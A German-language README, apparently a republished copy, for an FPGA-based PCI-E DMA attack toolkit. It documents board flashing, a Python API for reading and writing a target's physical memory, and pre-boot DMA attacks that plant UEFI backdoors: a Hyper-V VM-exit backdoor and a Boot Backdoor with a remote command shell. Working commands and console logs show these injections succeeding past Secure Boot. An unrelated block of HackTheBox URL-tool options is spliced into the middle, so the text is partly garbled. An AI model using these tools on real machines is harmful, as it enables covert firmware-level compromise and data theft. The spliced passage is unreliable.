
PCI Express DIY-Hacking-Toolkit für Xilinx SP605. Dieses Repository beherbergt außerdem Hyper-V Backdoor und Boot Backdoor; siehe Readme für Links und Informationen.
Allgemeine Informationen
Inhalt
SP605-Board-Konfiguration
Softwarekonfiguration
Beispiele
Verwendung der Python-API
Praktische DMA-Angriffe
Option-ROM-Angriffe
Fehlerbehebung
Erstellen des Projekts aus dem Quellcode
Dieses Repository enthält eine Reihe von Werkzeugen und Proof-of-Concepts im Zusammenhang mit dem PCI-E-Bus und DMA-Angriffen. Es enthält ein HDL-Design, das ein softwaresteuerbares PCI-E-Gen-1.1-Endpoint-Gerät für das Xilinx SP605 Evaluation Kit mit Spartan-6-FPGA implementiert. Im Vergleich zum beliebten USB3380EVB ermöglicht dieses Design die Arbeit mit rohen Transaction-Level-Paketen (TLP) des PCI-E-Busses und die Durchführung vollständiger 64-Bit-Speicher-Lese-/Schreiboperationen. Um praktische Anwendungsfälle des Designs zu demonstrieren, gibt es ein Werkzeug für Pre-Boot-DMA-Angriffe auf UEFI-basierten Maschinen, mit dem beliebige UEFI-DXE-Treiber während der Plattforminitialisierung ausgeführt werden können.
Hier ist ein Programm, das zeigt, wie man Pre-Boot-DMA-Angriffe nutzt, um eine in Windows 10 und 11 mit aktivierter einzuschleusen, die auf einer Plattform mit aktiviertem UEFI Secure Boot laufen. Der bereitgestellte Hyper-V-Backdoor-PoC könnte für Reverse-Engineering- und Exploit-Entwicklungszwecke nützlich sein; er bereit, um den Hypervisor-Zustand (VMCS, physischer/virtueller Speicher, Register usw.) aus der Gastpartition zu inspizieren und Gast-zu-Host-VM-Escape-Angriffe durchzuführen.
Ein weiteres Programm zeigt, wie man Pre-Boot-DMA-Angriffe nutzt, um beliebigen Benutzermodus- oder Kernelmodus-Code in das Windows-Betriebssystem einzuschleusen, indem der Bootvorgang mithilfe der Boot-Hintertür gekapert wird. Dieses Programm kann auch mit DMA Shell arbeiten − es ist ein Boot-Backdoor-Payload, das es ermöglicht, Konsolenbefehle über das schurkische PCI-E-Gerät auszuführen, Dateien zu übertragen und Drittanbieter-Executables zur Laufzeit in das Zielbetriebssystem zu laden.
💾 Der Hyper-V-Backdoor-Teil dieses Projekts bietet viele weitere Funktionen und Bereitstellungsoptionen als in diesem Dokument beschrieben. Du kannst ihn getrennt von den DMA-Angriffswerkzeugen und sogar ohne spezielle Hardware verwenden: Siehe seine Dokumentation
💾 Der Boot-Backdoor-Teil dieses Projekts bietet viele weitere Funktionen und Bereitstellungsoptionen als in diesem Dokument beschrieben. Du kannst ihn getrennt von den DMA-Angriffswerkzeugen und sogar ohne spezielle Hardware verwenden: Siehe seine Dokumentation
💾 Die Python-Werkzeuge aus diesem Projekt sowie die FPGA-Designs für die SP605-, ZC706- und PicoEVB-Boards können ebenfalls verwendet werden, um SMM Backdoor Next Gen per Pre-Boot-DMA-Angriff bereitzustellen. Weitere technische Details findest du in seiner Dokumentation.
🛠️ Die Python-Werkzeuge und Payloads aus diesem Projekt, einschließlich Hyper-V Backdoor und Boot Backdoor, können auch mit Boards auf Basis des Xilinx Zynq-7000 SoC verwendet werden. Es gibt ein separates Projekt für ein DMA-Angriffsdesign für das Xilinx ZC706 Evaluation Kit.
🛠️ Die Python-Werkzeuge und Payloads aus diesem Projekt, einschließlich Hyper-V Backdoor und Boot Backdoor, können auch mit dem PicoEVB-Entwicklungsboard verwendet werden. Es gibt ein separates Pico-DMA-Projekt − ein vollautonomes Pre-Boot-DMA-Angriffs-Hardware-Implantat für den M.2-Steckplatz, das beliebige UEFI-DXE-Treiber als Payload ausführen kann.
s6_pcie_microblaze.xise − Xilinx-ISE-Projektdatei.
microblaze/pcores/axis_pcie_v1_00_a/ − Benutzerdefiniertes Peripheriemodul, das es ermöglicht, den integrierten PCI-Express-Endpoint-Block des Spartan-6-FPGAs als rohen TLP-Stream mit dem MicroBlaze-Softprozessorkern zu verbinden.
sdk/srec_bootloader_0/ − Einfacher Bootloader für den MicroBlaze-Softprozessor; er verwendet das SREC-Imageformat und den Onboard-Linear-Flash-Speicher der SP605, um das Hauptprogramm von MicroBlaze zu laden und zu speichern.
sdk/main_0/ − Hauptprogramm für den MicroBlaze-Softprozessor; es leitet rohe TLP-Pakete des PCI-E-Busses über den Onboard-Ethernet-Port der SP605 und den lwIP-Netzwerkstack an eine TCP-Verbindung weiter.
python/pcie_lib.py − Python-Bibliothek zur Netzwerkinteraktion mit dem Hauptprogramm von MicroBlaze auf dem SP605-Board; sie implementiert verschiedene Low-Level- und High-Level-Abstraktionen, um aus Python-Code heraus auf der TLP-Ebene von PCI-E zu arbeiten.
python/pcie_mem.py − Befehlszeilenprogramm, das den Host-RAM durch Senden von MRd-TLPs auf dem Bildschirm oder in eine Ausgabedatei ausgibt.
python/pcie_mem_scan.py − Befehlszeilenprogramm, das den Zielhost nach physischen Speicherbereichen durchsucht, die über den PCI-E-Bus zugänglich sind; es ist nützlich für ein Sicherheitsaudit von Plattformen mit aktiviertem IOMMU (Beispiele: 1, 2, 3, 4).
python/uefi_backdoor_simple.py − Befehlszeilenprogramm für Pre-Boot-DMA-Angriffe, das einen Dummy-UEFI-Treiber in die Boot-Sequenz des Zielsystems einschleust.
python/uefi_backdoor_hv.py − Befehlszeilenprogramm für Pre-Boot-DMA-Angriffe, das eine Hyper-V-VM-Exit-Handler-Hintertür in die Boot-Sequenz des Zielsystems einschleust.
python/uefi_backdoor_boot.py − Befehlszeilenprogramm für Pre-Boot-DMA-Angriffe, das eine Boot-Hintertür in die Boot-Sequenz des Zielsystems einschleust.
python/payloads/DmaBackdoorSimple/ − Quellcode eines Dummy-UEFI-DXE-Treibers zur Verwendung mit uefi_backdoor_simple.py.
python/payloads/DmaBackdoorHv/ − Quellcode des UEFI-DXE-Treibers zur Verwendung mit uefi_backdoor_hv.py; er implementiert die Hyper-V-Backdoor-Funktionalität.
python/payloads/DmaBackdoorBoot/ − Quellcode des UEFI-DXE-Treibers zur Verwendung mit uefi_backdoor_boot.py; er implementiert die Boot-Backdoor-Funktionalität.

Das Xilinx-UG526-Dokument, auch bekannt als SP605 Hardware User Guide, ist dein bester Freund, wenn du weitere Details zur Verwendung und Konfiguration dieses schönen Boards erfahren möchtest.
Um das Bitstream aus dem Onboard-SPI-Flash-Chip zu laden, musst du die SP605 konfigurieren, indem du die Schalter SW1 in die Position 1-ON, 2-OFF bringst.
Jetzt musst du das FPGA-Bitstream in den SPI-Flash schreiben. Verwende die Datei s6_pcie_microblaze.mcs, wenn du dies über JTAG mit Hilfe des Xilinx-iMPACT-Dienstprogramms tun möchtest (siehe dieses Tutorial), oder s6_pcie_microblaze.bin, wenn du einen externen SPI-Flash-Programmer verwenden möchtest, der am J17-Header der SP605 angeschlossen ist (was der schnellste und bequemste Weg ist).
Falls du einen mit flashrom kompatiblen SPI-Flash-Programmer hast, kannst du das Programm flash_to_spi.py als flashrom-Wrapper verwenden:```
$ ./flash_to_spi.py linux_spi:dev=/dev/spidev1.0 s6_pcie_microblaze.bin
Using region: "main".
Calibrating delay loop... OK.
Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on linux_spi.
Reading old flash chip contents... done.
Erasing and writing flash chip...
Warning: Chip content is identical to the requested image.
Erase/write done.
3) Die Bitstream-Datei, die im vorherigen Schritt in den SPI-Flash geschrieben wurde, enthält einen benutzerdefinierten Bootloader für den MicroBlaze-Kern (siehe [bootloader.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/srec_bootloader_0/src/bootloader.c) für weitere Details). Dieser Bootloader ermöglicht es, Board-Optionen zu konfigurieren und das Hauptprogramm über den UART-Port des SP605 in den linearen Flash zu schreiben.
Um MicroBlaze in den Update-Modus zu booten, müssen Sie den SPI-Flash-Programmierer trennen und das Board einschalten, während Sie den Taster `SW4` gedrückt halten. Lassen Sie `SW4` los, sobald die LED `DS6` aufleuchtet, die den aktiven Update-Modus anzeigt.
4) Um das Hauptprogramm (siehe [main.c](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/sdk/main_0/src/main.c) für weitere Details) in den linearen Flash zu schreiben, müssen Sie Ihren Computer mit dem UART-Brücken-USB-Port des SP605 verbinden und das Programm `bootloader_ctl.py` mit der Option `--flash` ausführen:```
$ easy_install pyserial
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --flash sdk/main_0/Debug/main_0.srec
[+] Opening device "/dev/ttyUSB0"...
[+] Flasing 339852 bytes from "sdk/main_0/Debug/main_0.srec"...
Erasing flash...
Writing 0x100 bytes at 0x00100000
Writing 0x100 bytes at 0x00100100
...
Writing 0x100 bytes at 0x00152e00
Writing 0x8c bytes at 0x00152f00
[+] DONE
bootloader_ctl.py mit der Option --config ausführen:```
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --config 192.168.2.247:255.255.255.0:192.168.2.1:28472
[+] Opening device "/dev/ttyUSB0"...
[+] Updating board settings...Address: 192.168.2.247 Netmask: 255.255.255.0 Gateway: 192.168.2.1 Port: 28472
Erasing flash... Writing 0x12 bytes at 0x00000000 [+] DONE
6) Jetzt können Sie den Aktualisierungsmodus verlassen und das Haupt-MicroBlaze-Programm aus dem linearen Flash booten:```
$ ./python/bootloader_ctl.py /dev/ttyUSB0 --boot
[+] Opening device "/dev/ttyUSB0"...
[+] Exitting from update mode...
SREC Bootloader
Loading SREC image from flash at address: 42000000
Executing program starting at address: 00000000
Loading settings from flash...
[+] Address: 192.168.2.247
[+] Netmask: 255.255.255.0
[+] Gateway: 192.168.2.1
auto-negotiated link speed: 100
start_application(): TCP server is started at port 28472
Hauptprogramm gibt seine Fehlermeldungen über die eingebaute UART aus; Sie können die Option --console von bootloader_ctl.py verwenden, um diese Meldungen in Echtzeit zu überwachen.
Schließen Sie die SP605 an den PCI-E-Steckplatz des Zielcomputers an und schalten Sie den Computer ein. Wenn die PCI-E-Verbindung erfolgreich hergestellt wurde, leuchten die LEDs DS3 und DS4.
Führen Sie den Befehl lspci auf dem Zielcomputer aus, um sicherzustellen, dass dessen Betriebssystem Ihre Platine als entsprechendes PCI-E-Gerät erkennt:```
01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID
Hinweise zu JTAG: Das SP605-Board verfügt über eine Onboard-USB-zu-JTAG-Schnittstelle, die mit iMPACT und anderen Xilinx-Tools kompatibel ist. Allerdings ist sie nicht besonders gut. Wenn Sie also das Onboard-JTAG zum Programmieren des SPI-Flash wie im Xilinx-Tutorial beschrieben verwenden möchten, müssen Sie Folgendes tun:
* Entfernen Sie jegliche am FMC-Steckplatz des SP605 angeschlossene Hardware, während Sie mit JTAG arbeiten.
* Konfigurieren Sie in den Xilinx-iMPACT-Einstellungen die JTAG-Schnittstelle auf 750 KHz Geschwindigkeit (bei höherer Geschwindigkeit arbeitet sie instabil).
Das Xilinx-SP605-Board kann auch über ein [Thunderbolt-zu-PCI-E-Erweiterungsgehäuse](https://www.amazon.com/s/ref?field-keywords=thunderbolt+to+pcie) an den externen Thunderbolt-2/3-Port des Zielcomputers angeschlossen werden. Bitte beachten Sie, dass das SP605 ein [relativ großes Board](https://www.xilinx.com/support/answers/53808.html) ist und daher möglicherweise nicht in einige Gehäuse passt. Zum Beispiel verwende ich ein [HighPoint RocketStor 6361A](http://www.highpoint-tech.com/USA_new/series_RS6361A_overview.htm)-Thunderbolt-2-Gehäuse, das mit meinem MacBook Pro einwandfrei funktioniert.
## Softwarekonfiguration
Python-Werkzeuge zur Interaktion mit dem Board sowie eine kleine Implementierung der PCI-E-Transaktionsschicht befinden sich im Ordner `python`. Da das Haupt-MicroBlaze-Programm eine TCP-Verbindung zum Übertragen von TLP-Paketen verwendet, sind keinerlei Treiber oder Drittanbieter-Abhängigkeiten erforderlich. Sie können den bereitgestellten Python-Code auf jedem Betriebssystem verwenden.
Um die IP-Adresse und den Port des Zielboards festzulegen, bearbeiten Sie die Variable `PCIE_TO_TCP_ADDR` in der Datei `python/pcie_lib_config.py`.
## Beispiele
Informationen zum PCI-E-Gerät, das durch den bereitgestellten FPGA-Bitstream implementiert wird (genau so, wie es vom Zielcomputer gesehen wird):```
$ lspci -vvs 01:00.0
01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID
Subsystem: Xilinx Corporation Default PCIe endpoint ID
Control: I/O- Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
Interrupt: pin A routed to IRQ 11
Region 0: Memory at f7d00000 (32-bit, non-prefetchable) [disabled] [size=1M]
Capabilities: [40] Power Management version 3
Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold-)
Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME-
Capabilities: [48] MSI: Enable- Count=1/1 Maskable- 64bit+
Address: 0000000000000000 Data: 0000
Capabilities: [58] Express (v1) Endpoint, MSI 00
DevCap: MaxPayload 512 bytes, PhantFunc 0, Latency L0s unlimited, L1 unlimited
ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported-
RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop+
MaxPayload 128 bytes, MaxReadReq 512 bytes
DevSta: CorrErr+ UncorrErr- FatalErr+ UnsuppReq- AuxPwr- TransPend-
LnkCap: Port #0, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 unlimited, L1 unlimited
ClockPM- Surprise- LLActRep- BwNot-
LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk-
ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
Capabilities: [100 v1] Device Serial Number 00-00-00-01-01-00-0a-35
Beispiel für ein PCI-E-Gerät, wie es in den Apple-macOS-Hardwareinformationen angezeigt wird, wenn es an den Thunderbolt-2-Port eines MacBook Pro angeschlossen ist:

Auf der Angreiferseite kannst du das Programm pcie_cfg.py verwenden, um die Konfigurationsraum-Register des PCI-E-Geräts anzuzeigen:```
$ ./pcie_cfg.py
[+] PCI-E link with target is up
[+] Device address is 03:00.0
VENDOR_ID = 0x10ee
DEVICE_ID = 0x1337
COMMAND = 0x0
STATUS = 0x10
REVISION = 0x0
CLASS_PROG = 0x0
CLASS_DEVICE = 0x200
CACHE_LINE_SIZE = 0x10
LATENCY_TIMER = 0x0
HEADER_TYPE = 0x0
BIST = 0x0
BASE_ADDRESS_0 = 0x90500000
BASE_ADDRESS_1 = 0x0
BASE_ADDRESS_2 = 0x0
BASE_ADDRESS_3 = 0x0
BASE_ADDRESS_4 = 0x0
BASE_ADDRESS_5 = 0x0
CARDBUS_CIS = 0x0
SUBSYSTEM_VENDOR_ID = 0x10ee SUBSYSTEM_ID = 0x7 ROM_ADDRESS = 0x0 INTERRUPT_LINE = 0xff INTERRUPT_PIN = 0x1 MIN_GNT = 0x0 MAX_LAT = 0x0
**`-u, --url <url>`**: Analysieren Sie eine einzelne URL oder eine Liste von URLs aus einer Datei (eine pro Zeile).
**`-m, --mirror`**: Die Liste der URLs könnte von einem globalen Mirror abgeleitet werden. Diese Option ermöglicht die Analyse von URLs, die sich auf einer [HackTheBox](https://www.hackthebox.com)-Maschine befinden, auf der eine lokale Instanz läuft.
**`-n, --name <name>`**: Verwenden Sie diese Option, um den Namen der HTB-Maschine anzugeben, die Sie testen.
**`-p, --port <port>`**: Verwenden Sie diese Option, um die Portnummer (HTTP/HTTPS) anzugeben, auf der die HTB-Maschine lauscht.
**`-q, --quiet`**: Stiller Modus; wenn gesetzt, gibt das Tool nur direkte Ergebnisse aus (d. h. keine zusätzlichen Informationen).```
$ ./pcie_cfg.py -x
[+] PCI-E link with target is up
[+] Device address is 03:00.0
0000: 0x10ee 0x1337
0004: 0x0000 0x0010
0008: 0x0000 0x0200
000c: 0x0010 0x0000
0010: 0x0000 0x9050
0014: 0x0000 0x0000
0018: 0x0000 0x0000
001c: 0x0000 0x0000
0020: 0x0000 0x0000
0024: 0x0000 0x0000
0028: 0x0000 0x0000
002c: 0x10ee 0x0007
0030: 0x0000 0x0000
0034: 0x0040 0x0000
0038: 0x0000 0x0000
003c: 0x01ff 0x0000
...
Hier ist ein Beispiel, wie man 0x80 Bytes des physischen Speichers des Zielcomputers ab der Adresse Null mit dem Programm pcie_mem.py ausgibt:```
$ DEBUG_TLP=1 ./pcie_mem.py 0x0 0x80
TLP TX: size = 0x04, source = 01:00.0, type = MRd64
tag = 0x00, bytes = 0x84, addr = 0x00000000
0x20000021 0x010000ff 0x00000000 0x00000000
TLP RX: size = 0x23, source = 00:00.0, type = CplD tag = 0x00, bytes = 132, req = 01:00.0, comp = 00:00.0
0x4a000020 0x00000084 0x01000000
0xf3ee00f0 0xf3ee00f0 0xc3e200f0 0xf3ee00f0
0xf3ee00f0 0x54ff00f0 0x053100f0 0xfe3000f0
0xa5fe00f0 0xe40400e8 0xf3ee00f0 0xf3ee00f0
0xf3ee00f0 0xf3ee00f0 0x57ef00f0 0x53ff00f0
0x140000c0 0x4df800f0 0x41f800f0 0x59ec00f0
0x39e700f0 0xd40600e8 0x2ee800f0 0xd2ef00f0
0x00e000f0 0xf2e600f0 0x6efe00f0 0x53ff00f0
0x53ff00f0 0xa4f000f0 0xc7ef00f0 0xb19900c0
TLP RX: size = 0x04, source = 00:00.0, type = CplD tag = 0x00, bytes = 4, req = 01:00.0, comp = 00:00.0
0x4a000001 0x00000004 0x01000000
0xf3ee00f0
00000000: f3 ee 00 f0 f3 ee 00 f0 c3 e2 00 f0 f3 ee 00 f0 | ................ 00000010: f3 ee 00 f0 54 ff 00 f0 05 31 00 f0 fe 30 00 f0 | ....T....1...0.. 00000020: a5 fe 00 f0 e4 04 00 e8 f3 ee 00 f0 f3 ee 00 f0 | ................ 00000030: f3 ee 00 f0 f3 ee 00 f0 57 ef 00 f0 53 ff 00 f0 | ........W...S... 00000040: 14 00 00 c0 4d f8 00 f0 41 f8 00 f0 59 ec 00 f0 | ....M...A...Y... 00000050: 39 e7 00 f0 d4 06 00 e8 2e e8 00 f0 d2 ef 00 f0 | 9............... 00000060: 00 e0 00 f0 f2 e6 00 f0 6e fe 00 f0 53 ff 00 f0 | ........n...S... 00000070: 53 ff 00 f0 a4 f0 00 f0 c7 ef 00 f0 b1 99 00 c0 | S...............
Beispiel für das Speichern des physischen Speichers in die Datei:```
./pcie_mem.py 0x14000000 0x8000 dumped.bin
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Reading 0x14000000
[+] Reading 0x14001000
[+] Reading 0x14002000
[+] Reading 0x14003000
[+] Reading 0x14004000
[+] Reading 0x14005000
[+] Reading 0x14006000
[+] Reading 0x14007000
[+] Reading 0x14008000
32768 bytes written into the dumped.bin
Die bereitgestellte Python-Software verwendet einige Umgebungsvariablen, um Standardwerte bestimmter Optionen zu überschreiben:
DEBUG_TLP − Falls auf 1 gesetzt, werden TX- und RX-TLP-Paketdumps in die Standardausgabe geschrieben.
TARGET_ADDR − <address>:<port>-Zeichenkette zum Überschreiben der IP-Adresse des Boards, die in der Datei python/pcie_lib_config.py angegeben ist.
Die Python-Bibliothek pcie_lib.py bietet eine Low-Level-API zum Senden und Empfangen von PCE-E-TLP-Paketen sowie Abstraktionen für verschiedene TLP-Typen und eine High-Level-API für den physischen Speicherzugriff.
Das folgende Programm zeigt, wie man mit rohen TLPs mithilfe von pcie_lib.py arbeitet:```python
from pcie_lib import *
dev = TransactionLayer(addr = ( '192.168.2.247', 28472 ))
bus_id = dev.get_bus_id()
tlp_tx = [ 0x20000001, # TLP type and data size 0x000000ff | (bus_id << 16), # requester ID 0x00000000, # high dword of physical memory address 0x00001000 ] # low dword of physical memory address
dev.write(tlp_tx)
tlp_rx = dev.read(raw = True)
print('%.8x %.8x %.8x %.8x' % tuple(tlp_rx))
assert (tlp_rx[0] >> 24) & 0xff == 0x4a
print('%.8x' % tlp_rx[3])
dev.close()
Arbeiten mit TLPs mithilfe komfortablerer High-Level-Abstraktionen:```python
# MRd TLP request which reads 1 dword of memory at address 0x1000
tlp_tx = dev.PacketMRd64(dev.bus_id, 0x1000, 4)
# send TLP
dev.write(tlp_tx)
# receive root complex reply
tlp_rx = dev.read()
# check for CplD TLP
assert isinstance(tlp_rx, dev.PacketCplD)
# print readed dword
print('%.8x' % tlp_rx.data[0])
Zugriff auf physischen Speicher mit High-Level-API:```python
dev.mem_write(0x1000, '\xAA' * 0x10)
dev.mem_write_8(0x1000, 0) dev.mem_write_4(0x1000, 0) dev.mem_write_2(0x1000, 0) dev.mem_write_1(0x1000, 0)
print(repr(dev.mem_read(0x1000, 0x10)))
print('%.16x' % dev.mem_read_8(0x1000)) print('%.8x' % dev.mem_read_4(0x1000)) print('%.4x' % dev.mem_read_2(0x1000)) print('%.2x' % dev.mem_read_1(0x1000))
## Practical DMA attacks
Eines der Hauptziele dieses Projekts ist die Bereitstellung eines flexiblen und praktischen Satzes von Werkzeugen zur Durchführung sogenannter Pre-Boot-DMA-Angriffe. Im Vergleich zu regulären DMA-Angriffen zielen sie auf die Pre-Boot-Umgebung der UEFI-DXE-Phase der Plattforminitialisierung ab und nicht auf das Betriebssystem selbst. Solche Angriffe ermöglichen die Ausführung von schädlichem Code in relativ frühen Phasen, wenn [IOMMU](https://en.wikipedia.org/wiki/Input%E2%80%93output_memory_management_unit) und andere Sicherheitsfunktionen des Betriebssystems noch nicht initialisiert sind.
<img src="https://assets.kitploit.com/production/public/readmes/47570/6a87a76c672dc69ade501714127d61c89fb94cc82f3593bf9480275fe539169e.jpg" width="610">
Pre-Boot-DMA-Angriffe ermöglichen es, verschiedene Sicherheitsfunktionen der Plattform-Firmware zu umgehen, wie UEFI Secure Boot oder [Intel Boot Guard](https://edk2-docs.gitbook.io/understanding-the-uefi-secure-boot-chain/secure_boot_chain_in_uefi/intel_boot_guard).
Das Python-Programm `uefi_backdoor_simple.py` injiziert einen Dummy-UEFI-DXE-Treiber aus dem Ordner `payloads/DmaBackdoorSimple` mithilfe des oben beschriebenen Pre-Boot-DMA-Angriffs in die Boot-Sequenz des Zielsystems. Um dieses Programm zu verwenden, müssen Sie die folgenden Schritte ausführen:
1) Schalten Sie den Zielcomputer aus.
2) Verbinden Sie das SP605-Board mit dem PCI-E- (oder Mini-PCI-E- oder M.2-) Port des Zielcomputers.
3) Schalten Sie das Board ein und stellen Sie sicher, dass die Microblaze-Firmware erfolgreich initialisiert wurde, indem Sie eine IP-Adresse anpingen, die während der Board-Konfiguration mit dem Programm `bootloader_ctl.py` angegeben wurde.
4) Führen Sie den folgenden Befehl aus, um den Pre-Boot-DMA-Angriff zu starten:```
$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi

Ein Beispiel für die Konsolenausgabe von uefi_backdoor_simple.py nach dem erfolgreichen Angriff:```
$ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
[+] Using UEFI system table hook injection method
[+] Reading DXE phase payload from payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] TSEG is somewhere around 0xd7000000
[+] PE image is at 0xd6260000
[+] EFI_SYSTEM_TABLE is at 0xd61eaf18
[+] EFI_BOOT_SERVICES is at 0xd680aa00
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0xd67e2c18
Backdoor image size is 0x1240
Backdoor entry RVA is 0x31c
Planting DXE stage driver at 0x10000...
Hooking LocateProtocol(): 0xd67e2c18 -> 0x0001031c
0.780202 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed
[+] DONE
Dieser Dummy-UEFI-DXE-Treiber zusammen mit dem Programm `uefi_backdoor_simple.py` kann als Skelettprojekt verwendet werden, um verschiedene Angriffe zu implementieren, etwa das Einschleusen von bösartigem Code in den Bootloader des Betriebssystems, den Kernel oder den Hypervisor.
Es gibt auch ein weiteres Python-Programm − `uefi_backdoor_hv.py`, es injiziert einen Hyper-V-VM-Exit-Handler-Backdoor im Ordner `payloads/DmaBackdoorHv` in die Startsequenz des Zielsystems, genau auf dieselbe Weise wie der vorherige Dummy-UEFI-DXE-Treiber. Hier ist ein Beispiel für seine Verwendung:```
$ ./uefi_backdoor_hv.py --driver payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Using UEFI system table hook injection method
[+] Reading DXE phase payload from payloads/DmaBackdoorHv/DmaBackdoorHv_X64.efi
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Looking for DXE driver PE image...
[+] PE image is at 0x77160000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x2c20
Backdoor entry RVA is 0xbd4
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0bd4
3.611646 sec.
[+] DXE driver was planted, waiting for backdoor init...
[+] DXE driver was executed, you can read its debug messages by running this program with --debug-output option
[+] Waiting for Hyper-V load...
[+] Hyper-V image was loaded
Hyper-V image base: 0xfffff8072d690000
Image entry: 0xfffff8072d901360
VM exit handler: 0xfffff8072d8add90
[+] DONE
Der UEFI DXE-Treiber von Hyper-V Backdoor druckt seine Debug-Meldungen auch auf dem Bildschirm. Darüber hinaus kannst du die Option --debug-output von uefi_backdoor_hv.py verwenden, um diese Debug-Meldungen aus dem physischen Speicher des Zielsystems zu lesen und sie auf stdout auszugeben:```
$ ./uefi_backdoor_hv.py --debug-output
[+] PCI-E link with target is up
[+] Debug output buffer address is 0x79db3000
DmaBackdoorHv.c(1018) : ****************************** DmaBackdoorHv.c(1019) : DmaBackdoorHv.c(1020) : Hyper-V backdoor loaded! DmaBackdoorHv.c(1021) : DmaBackdoorHv.c(1022) : ****************************** DmaBackdoorHv.c(1055) : Image address is 0xc0000 DmaBackdoorHv.c(275) : BackdoorImageRealocate(): image size = 0x3260 DmaBackdoorHv.c(1065) : Resident code base address is 0x79daf000 DmaBackdoorHv.c(794) : Protocol notify handler is at 0x79daf364 DmaBackdoorHv.c(819) : BackdoorEntryResident() DmaBackdoorHv.c(830) : OpenProtocol() hook was set, handler = 0x79db1477 DmaBackdoorHv.c(835) : ExitBootServices() hook was set, handler = 0x79db1487 DmaBackdoorHv.c(447) : winload.dll is at 0x8ee000 DmaBackdoorHv.c(448) : winload!BlLdrLoadImage() is at 0x984a10 DmaBackdoorHv.c(477) : 535 free bytes found at the end of the code section at 0xa4ade9 DmaBackdoorHv.c(527) : winload!BlLdrLoadImage() hook was set, handler is at 0x79daf50c DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\mcupdate_GenuineIntel.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hvix64.exe" HyperV.c(369) : HyperVHook(): Hyper-V image is at 0xfffff80144e0d000 HyperV.c(388) : HyperVHook(): Resources section RVA is 0x1400000 (0x200000 bytes) HyperV.c(425) : HyperVHook(): Code section RVA is 0x200000 HyperV.c(604) : HyperVHook(): Hyper-V VM exit handler is at 0xfffff8014502ad90 HyperV.c(605) : HyperVHook(): Backdoor code size is 684 bytes DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\kdstub.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hv.exe" DmaBackdoorHv.c(560) : new_ExitBootServices() called
Um mehr Informationen über Anwendungsfälle und Funktionen von Hyper-V Backdoor zu erhalten, [lesen Sie die README-Datei](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/payloads/DmaBackdoorHv/README.MD) mit detaillierten Informationen.
Die Python-Programme `uefi_backdoor_boot.py` und `uefi_backdoor_boot_shell.py` werden verwendet, um Boot Backdoor in die Startsequenz des Zielsystems zu injizieren. Boot Backdoor ermöglicht es, beliebigen Code im Benutzermodus oder Kernelmodus unter dem Windows-Betriebssystem auszuführen, und sein Payload namens DMA Shell ermöglicht es, Konsolenbefehle auszuführen und Dateien zu übertragen. Um Boot Backdoor mit DMA Shell mithilfe eines Pre-Boot-DMA-Angriffs bereitzustellen, müssen Sie dieselben Schritte wie oben beschrieben ausführen, jedoch mit dem Programm `uefi_backdoor_boot_shell.py`:```
$ ./uefi_backdoor_boot_shell.py --command "whoami"
[+] 44544 bytes of payload image read
[+] 21299 bytes of payload image after the compression
[+] Using UEFI system table hook injection method
[+] Waiting for PCI-E link...
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] PCI-E endpoint is not configured by root complex yet
[!] Bad MRd TLP completion received
[!] Bad MRd TLP completion received
[+] PCI-E link with target is up
[+] Device address is 01:00.0
[+] Looking for DXE driver PE image...
[+] PE image is at 0x7a070000
[+] EFI_SYSTEM_TABLE is at 0x7a03e018
[+] EFI_BOOT_SERVICES is at 0x7a38fa30
[+] EFI_BOOT_SERVICES.LocateProtocol() address is 0x7a3987b4
Backdoor image size is 0x14847
Backdoor entry RVA is 0x908
Planting DXE stage driver at 0xc0000...
Hooking LocateProtocol(): 0x7a3987b4 -> 0x000c0908
1.759079 sec.
